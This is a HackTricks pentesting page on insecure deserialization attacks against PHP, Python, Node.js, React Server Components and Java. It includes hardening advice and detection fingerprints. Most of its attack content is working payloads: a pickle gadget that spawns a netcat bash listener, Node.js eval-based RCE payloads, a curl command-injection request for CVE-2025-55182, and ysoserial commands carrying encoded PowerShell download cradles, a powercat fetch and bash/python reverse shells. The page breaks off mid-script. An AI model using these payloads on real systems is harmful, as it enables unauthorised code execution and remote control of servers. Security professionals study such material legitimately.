overview.md (79241B)
1 --- 2 title: "Deserialization" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Deserialization 14 15 ## Basic Information 16 17 **Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state. 18 19 **Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object. 20 21 Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process. 22 23 ## PHP 24 25 In PHP, specific magic methods are utilized during the serialization and deserialization processes: 26 27 - `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks. 28 - `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. 29 - `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`. 30 - `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections. 31 - `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object. 32 33 ```php 34 <?php 35 class test { 36 public $s = "This is a test"; 37 public function displaystring(){ 38 echo $this->s.'<br />'; 39 } 40 public function __toString() 41 { 42 echo '__toString method called'; 43 } 44 public function __construct(){ 45 echo "__construct method called"; 46 } 47 public function __destruct(){ 48 echo "__destruct method called"; 49 } 50 public function __wakeup(){ 51 echo "__wakeup method called"; 52 } 53 public function __sleep(){ 54 echo "__sleep method called"; 55 return array("s"); #The "s" makes references to the public attribute 56 } 57 } 58 59 $o = new test(); 60 $o->displaystring(); 61 $ser=serialize($o); 62 echo $ser; 63 $unser=unserialize($ser); 64 $unser->displaystring(); 65 66 /* 67 php > $o = new test(); 68 __construct method called 69 __destruct method called 70 php > $o->displaystring(); 71 This is a test<br /> 72 73 php > $ser=serialize($o); 74 __sleep method called 75 76 php > echo $ser; 77 O:4:"test":1:{s:1:"s";s:14:"This is a test";} 78 79 php > $unser=unserialize($ser); 80 __wakeup method called 81 __destruct method called 82 83 php > $unser->displaystring(); 84 This is a test<br /> 85 */ 86 ?> 87 ``` 88 89 If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**. 90 91 > [!WARNING] 92 > The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization. 93 > 94 > ```php 95 > class MyClass { 96 > private $property; 97 > 98 > public function __unserialize(array $data): void { 99 > $this->property = $data['property']; 100 > // Perform any necessary tasks upon deserialization. 101 > } 102 > } 103 > ``` 104 105 You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup> 106 107 ### PHP Deserial + Autoload Classes 108 109 You could abuse the PHP autoload functionality to load arbitrary php files and more: 110 111 112 [Php Deserialization + Autoload Classes](/hacktricks/pentesting-web/deserialization/php-deserialization-autoload-classes) 113 114 ### Laravel Livewire Hydration Chains 115 116 Livewire 3 synthesizers can be coerced into instantiating arbitrary gadget graphs (with or without `APP_KEY`) to reach Laravel Queueable/SerializableClosure sinks: 117 118 [Livewire Hydration Synthesizer Abuse](/hacktricks/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse) 119 120 ### Serializing Referenced Values 121 122 If for some reason you want to serialize a value as a **reference to another value serialized** you can: 123 124 ```php 125 <?php 126 class AClass { 127 public $param1; 128 public $param2; 129 } 130 131 $o = new WeirdGreeting; 132 $o->param1 =& $o->param22; 133 $o->param = "PARAM"; 134 $ser=serialize($o); 135 ``` 136 137 ### Preventing PHP Object Injection with `allowed_classes` 138 139 > [!INFO] 140 > Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated. 141 142 `unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise. Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option: 143 144 ```php 145 // NEVER DO THIS – full object instantiation 146 $object = unserialize($userControlledData); 147 148 // SAFER – disable object instantiation completely 149 $object = unserialize($userControlledData, [ 150 'allowed_classes' => false // no classes may be created 151 ]); 152 153 // Granular – only allow a strict white-list of models 154 $object = unserialize($userControlledData, [ 155 'allowed_classes' => [MyModel::class, DateTime::class] 156 ]); 157 ``` 158 159 If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE). 160 161 #### Real-world example: Everest Forms (WordPress) CVE-2025-52709 162 163 The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions:<sup>[[4]](#references)</sup> 164 165 ```php 166 function evf_maybe_unserialize($data, $options = array()) { 167 if (is_serialized($data)) { 168 if (version_compare(PHP_VERSION, '7.1.0', '>=')) { 169 // SAFE branch (PHP ≥ 7.1) 170 $options = wp_parse_args($options, array('allowed_classes' => false)); 171 return @unserialize(trim($data), $options); 172 } 173 // DANGEROUS branch (PHP < 7.1) 174 return @unserialize(trim($data)); 175 } 176 return $data; 177 } 178 ``` 179 180 On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like: 181 182 ```text 183 O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";} 184 ``` 185 186 As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution. 187 188 **Take-aways** 189 1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`. 190 2. Audit defensive wrappers – they often forget about the legacy PHP branches. 191 3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly. 192 193 --- 194 195 ### PHPGGC (ysoserial for PHP) 196 197 [**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\ 198 Note than in several cases you **won't be able to find a way to abuse a deserialization in the source code** of the application but you may be able to **abuse the code of external PHP extensions.**\ 199 So, if you can, check the `phpinfo()` of the server and **search on the internet** (an even on the **gadgets** of **PHPGGC**) some possible gadget you could abuse. 200 201 ### phar:// metadata deserialization 202 203 If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\ 204 For more information read the following post: 205 206 207 [Phar Deserialization](/hacktricks/pentesting-web/file-inclusion/phar-deserialization) 208 209 ## Python 210 211 ### **Pickle** 212 213 When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\ 214 When exploited, server could return an error. 215 216 ```python 217 import pickle, os, base64 218 class P(object): 219 def __reduce__(self): 220 return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) 221 print(base64.b64encode(pickle.dumps(P()))) 222 ``` 223 224 Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3. 225 226 For more information about escaping from **pickle jails** check: 227 228 229 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) 230 231 ### Yaml **&** jsonpickle 232 233 The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**: 234 235 236 [Python Yaml Deserialization](/hacktricks/pentesting-web/deserialization/python-yaml-deserialization) 237 238 ### Class Pollution (Python Prototype Pollution) 239 240 241 [Class Pollution Pythons Prototype Pollution](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) 242 243 ## NodeJS 244 245 ### JS Magic Functions 246 247 JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\ 248 If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. 249 250 Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._<sup>[[5]](#references)</sup> 251 252 ```javascript 253 // If you can compromise p (returned object) to be a promise 254 // it will be executed just because it's the return object of an async function: 255 async function test_resolve() { 256 const p = new Promise((resolve) => { 257 console.log("hello") 258 resolve() 259 }) 260 return p 261 } 262 263 async function test_then() { 264 const p = new Promise((then) => { 265 console.log("hello") 266 return 1 267 }) 268 return p 269 } 270 271 test_ressolve() 272 test_then() 273 //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ 274 ``` 275 276 ### `__proto__` and `prototype` pollution 277 278 If you want to learn about this technique **take a look to the following tutorial**: 279 280 281 [Nodejs Proto Prototype Pollution](/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/overview) 282 283 ### [node-serialize](https://www.npmjs.com/package/node-serialize) 284 285 This library allows to serialise functions. Example: 286 287 ```javascript 288 var y = { 289 rce: function () { 290 require("child_process").exec("ls /", function (error, stdout, stderr) { 291 console.log(stdout) 292 }) 293 }, 294 } 295 var serialize = require("node-serialize") 296 var payload_serialized = serialize.serialize(y) 297 console.log("Serialized: \n" + payload_serialized) 298 ``` 299 300 The **serialised object** will looks like: 301 302 ```bash 303 {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} 304 ``` 305 306 You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object. 307 308 Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. 309 310  311 312  313 314 As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**. 315 316 However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ 317 Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\ 318 In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code: 319 320 ```javascript 321 var serialize = require("node-serialize") 322 var test = { 323 rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()", 324 } 325 serialize.unserialize(test) 326 ``` 327 328 As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: 329 330 ```javascript 331 var serialize = require("node-serialize") 332 var test = 333 "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" 334 serialize.unserialize(test) 335 ``` 336 337 You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability.<sup>[[6]](#references)</sup> 338 339 ### [funcster](https://www.npmjs.com/package/funcster) 340 341 A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used. 342 343 Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet: 344 345 ```javascript 346 funcster = require("funcster") 347 //Serialization 348 var test = funcster.serialize(function () { 349 return "Hello world!" 350 }) 351 console.log(test) // { __js_function: 'function(){return"Hello world!"}' } 352 353 //Deserialization with auto-execution 354 var desertest1 = { __js_function: 'function(){return "Hello world!"}()' } 355 funcster.deepDeserialize(desertest1) 356 var desertest2 = { 357 __js_function: 'this.constructor.constructor("console.log(1111)")()', 358 } 359 funcster.deepDeserialize(desertest2) 360 var desertest3 = { 361 __js_function: 362 "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()", 363 } 364 funcster.deepDeserialize(desertest3) 365 ``` 366 367 The Acunetix research contains additional analysis of this `funcster` escape.<sup>[[7]](#references)</sup> 368 369 ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) 370 371 The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data: 372 373 ```javascript 374 function deserialize(serializedJavascript) { 375 return eval("(" + serializedJavascript + ")") 376 } 377 ``` 378 379 If this function is used to deserialize objects you can **easily exploit it**: 380 381 ```javascript 382 var serialize = require("serialize-javascript") 383 //Serialization 384 var test = serialize(function () { 385 return "Hello world!" 386 }) 387 console.log(test) //function() { return "Hello world!" } 388 389 //Deserialization 390 var test = 391 "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" 392 deserialize(test) 393 ``` 394 395 The same research also discusses why implementing deserialization with `eval` makes this otherwise serialization-only library exploitable.<sup>[[7]](#references)</sup> 396 397 ### Cryo library 398 399 In the following pages you can find information about how to abuse this library to execute arbitrary commands:<sup>[[7]](#references)</sup><sup>[[8]](#references)</sup> 400 401 - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)<sup>[[7]](#references)</sup> 402 - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)<sup>[[8]](#references)</sup> 403 404 ### React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182) 405 406 React Server Components (RSC) rely on `react-server-dom-webpack` (RSDW) to decode server action submissions that are sent as `multipart/form-data`. Each action submission contains: 407 408 - `$ACTION_REF_<n>` parts that reference the action being invoked. 409 - `$ACTION_<n>:<m>` parts whose body is JSON such as `{"id":"module-path#export","bound":[arg0,arg1,...]}`. 410 411 In version **19.2.0** the `decodeAction(formData, serverManifest)` helper blindly trusts both the **`id` string** (selecting which module export to call) and the **`bound` array** (the arguments). If an attacker can reach the endpoint that forwards requests to `decodeAction`, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is: 412 413 1. **Learn the action identifier.** Bundle output, error traces or leaked manifests typically reveal strings like `app/server-actions#generateReport`. 414 2. **Recreate the multipart payload.** Craft a `$ACTION_REF_0` part and a `$ACTION_0:0` JSON body carrying the identifier and arbitrary arguments. 415 3. **Let `decodeAction` dispatch it.** The helper resolves the module from `serverManifest`, imports the export, and returns a callable that the server immediately executes. 416 417 Example payload hitting `/formaction`: 418 419 ```http 420 POST /formaction HTTP/1.1 421 Host: target 422 Content-Type: multipart/form-data; boundary=----BOUNDARY 423 424 ------BOUNDARY 425 Content-Disposition: form-data; name="$ACTION_REF_0" 426 427 ------BOUNDARY 428 Content-Disposition: form-data; name="$ACTION_0:0" 429 430 {"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]} 431 ------BOUNDARY-- 432 ``` 433 434 Or with curl: 435 436 ```bash 437 curl -sk -X POST http://target/formaction \ 438 -F '$ACTION_REF_0=' \ 439 -F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}' 440 ``` 441 442 The `bound` array directly populates the server-action parameters. In the vulnerable lab the gadget looks like: 443 444 ```javascript 445 const { exec } = require("child_process"); 446 const util = require("util"); 447 const pexec = util.promisify(exec); 448 449 async function generateReport(project, format) { 450 const cmd = `node ./scripts/report.js --project=${project} --format=${format}`; 451 const { stdout } = await pexec(cmd); 452 return stdout; 453 } 454 ``` 455 456 Supplying `format = "pdf & whoami"` makes `/bin/sh -c` run the legitimate report generator and then `whoami`, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the `bound` data. 457 458 An attacker never needs a real React client—any HTTP tool that emits the `$ACTION_*` multipart shape can directly call server actions and chain the resulting JSON output into an RCE primitive.<sup>[[9]](#references)</sup> 459 460 ## Java - HTTP 461 462 In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions. 463 464 ### Fingerprints 465 466 #### White Box 467 468 To identify potential serialization vulnerabilities in the codebase search for: 469 470 - Classes that implement the `Serializable` interface. 471 - Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions. 472 473 Pay extra attention to: 474 475 - `XMLDecoder` utilized with parameters defined by external users. 476 - `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues. 477 - `ObjectInputStream` coupled with the `readObject` method. 478 - Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`. 479 - `ObjectInputStream.readUnshared`. 480 - General use of `Serializable`. 481 482 #### Black Box 483 484 For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`): 485 486 - Hexadecimal pattern: `AC ED 00 05`. 487 - Base64 pattern: `rO0`. 488 - HTTP response headers with `Content-type` set to `application/x-java-serialized-object`. 489 - Hexadecimal pattern indicating prior compression: `1F 8B 08 00`. 490 - Base64 pattern indicating prior compression: `H4sIA`. 491 - Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](/hacktricks/pentesting-web/deserialization/java-jsf-viewstate-faces-deserialization). 492 493 ```text 494 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s 495 ``` 496 497 ### Check if vulnerable 498 499 If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](/hacktricks/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject), [**Java DNS Deserialization**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe), and [**CommonsCollection1 Payload**](/hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload). 500 501 #### SignedObject-gated deserialization and pre-auth reachability 502 503 Modern codebases sometimes wrap deserialization with `java.security.SignedObject` and validate a signature before calling `getObject()` (which deserializes the inner object). This prevents arbitrary top-level gadget classes but can still be exploitable if an attacker can obtain a valid signature (e.g., private-key compromise or a signing oracle). Additionally, error-handling flows may mint session-bound tokens for unauthenticated users, exposing otherwise protected sinks pre-auth.<sup>[[10]](#references)</sup> 504 505 For a concrete case study with requests, IoCs, and hardening guidance, see: 506 507 [Java Signedobject Gated Deserialization](/hacktricks/pentesting-web/deserialization/java-signedobject-gated-deserialization) 508 509 #### White Box Test 510 511 You can check if there is installed any application with known vulnerabilities.<sup>[[11]](#references)</sup> 512 513 ```bash 514 find . -iname "*commons*collection*" 515 grep -R InvokeTransformer . 516 ``` 517 518 You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ 519 You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ 520 When running **Gadget Inspector** (after building it), expect many warnings and errors while it analyzes the target and let it finish. It writes its findings to _gadgetinspector/gadget-results/gadget-chains-year-month-day-hour-min.txt_. Note that **Gadget Inspector does not create an exploit, and its results may contain false positives**.<sup>[[12]](#references)</sup><sup>[[13]](#references)</sup> 521 522 #### Black Box Test 523 524 Using the Burp extension [**gadgetprobe**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ 525 [**Read this to learn more about GadgetProbe**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#gadgetprobe)**.**\ 526 GadgetProbe is focused on **`ObjectInputStream` deserializations**.<sup>[[14]](#references)</sup><sup>[[15]](#references)</sup> 527 528 Using Burp extension [**Java Deserialization Scanner**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ 529 [**Read this to learn more about Java Deserialization Scanner.**](/hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe#java-deserialization-scanner)\ 530 Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. 531 532 You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ 533 [**You can find installation and usage details in Freddy's repository.**](https://github.com/nccgroup/freddy)<sup>[[50]](#references)</sup> 534 535 **Serialization Test** 536 537 Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\ 538 If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. 539 540 ### **Exploit** 541 542 #### **ysoserial** 543 544 The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).<sup>[[16]](#references)</sup><sup>[[17]](#references)</sup>\ 545 Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ 546 I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. 547 548 ```bash 549 # PoC to make the application perform a DNS req 550 java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload 551 552 # PoC RCE in Windows 553 # Ping 554 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload 555 # Time, I noticed the response too longer when this was used 556 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload 557 # Create File 558 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload 559 # DNS request 560 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net" 561 # HTTP request (+DNS) 562 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a" 563 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA" 564 ## The last HTTP request encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a') 565 ## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0 566 # Reverse Shell 567 ## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1') 568 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA" 569 570 #PoC RCE in Linux 571 # Ping 572 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload 573 # Time 574 ## Using time in bash I didn't notice any difference in the timing of the response 575 # Create file 576 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload 577 # DNS request 578 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" 579 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" 580 # HTTP request (+DNS) 581 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload 582 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" 583 # Reverse shell 584 ## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 585 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0 586 ## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' 587 java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}" 588 589 # Base64 encode payload in base64 590 base64 -w0 payload 591 ``` 592 593 When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html). 594 595 Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page: 596 597 ```python 598 import os 599 import base64 600 601 # You may need to update the payloads 602 payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1'] 603 def generate(name, cmd): 604 for payload in payloads: 605 final = cmd.replace('REPLACE', payload) 606 print 'Generating ' + payload + ' for ' + name + '...' 607 command = os.popen('java -jar ysoserial.jar ' 